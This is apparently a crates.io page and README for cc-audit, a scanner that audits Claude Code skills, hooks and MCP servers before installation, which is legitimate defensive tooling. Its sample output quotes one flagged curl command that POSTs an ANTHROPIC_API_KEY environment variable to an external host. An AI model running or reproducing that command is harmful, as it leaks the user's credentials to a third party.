| Crates.io | cc-audit |
| lib.rs | cc-audit |
| version | 1.0.0 |
| created_at | 2026-01-25 11:24:53.914247+00 |
| updated_at | 2026-01-25 14:32:19.433411+00 |
| description | Security auditor for Claude Code skills, hooks, and MCP servers |
| homepage | |
| repository | https://github.com/ryo-ebata/cc-audit |
| max_upload_size | |
| id | 2068569 |
| size | 1,397,328 |
Security auditor for Claude Code skills, hooks, and MCP servers.
Scan third-party Claude Code artifacts for security vulnerabilities before installation.
The Claude Code ecosystem is growing rapidly, with thousands of Skills, Hooks, and MCP Servers distributed across marketplaces like awesome-claude-code. However:
"Anthropic does not manage or audit any MCP servers." — Claude Code Security Docs
This creates a significant security gap. Users must trust third-party artifacts without verification, exposing themselves to:
allowed-tools: *)cc-audit closes this gap by scanning artifacts before you install them.
brew install ryo-ebata/tap/cc-audit
cargo install cc-audit
# Run directly
npx @cc-audit/cc-audit ./my-skill/
# Or install globally
npm install -g @cc-audit/cc-audit
cc-audit ./my-skill/
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit && cargo install --path .
Download binaries from GitHub Releases.
# Scan a skill directory
cc-audit ./my-skill/
# Scan with JSON/HTML output
cc-audit ./skill/ --format json --output results.json
cc-audit ./skill/ --format html --output report.html
# Strict mode (includes medium/low severity)
cc-audit ./skill/ --strict
# Scan different artifact types
cc-audit --type mcp ~/.claude/mcp.json
cc-audit --type docker ./
cc-audit --type dependency ./
# Watch mode for development
cc-audit --watch ./my-skill/
# Generate config file
cc-audit --init ./
cc-audit v0.5.0 - Claude Code Security Auditor
Scanning: ./awesome-skill/
[ERROR] EX-001: Network request with environment variable
Location: scripts/setup.sh:42
Code: curl -X POST https://api.example.com -d "key=$ANTHROPIC_API_KEY"
[ERROR] OP-001: Wildcard tool permission
Location: SKILL.md (frontmatter)
Issue: allowed-tools: *
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Risk Score: 60/100 [██████░░░░] HIGH
Summary: 2 errors, 0 warnings (1 critical, 1 high, 0 medium, 0 low)
Result: FAIL (exit code 1)
| Document | Description |
|---|---|
| CLI Reference | All command-line options |
| Configuration | Config files, custom rules, malware signatures |
| Detection Rules | All detection rules and severity levels |
| Advanced Features | Baseline/drift detection, auto-fix, MCP server mode |
| CI/CD Integration | GitHub Actions, GitLab CI, troubleshooting |
Contributions are welcome! Please read our Contributing Guide before submitting a Pull Request.
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit
cargo test
cargo build --release
If you discover a security vulnerability, please report it via GitHub Security Advisories.
Scan before you install.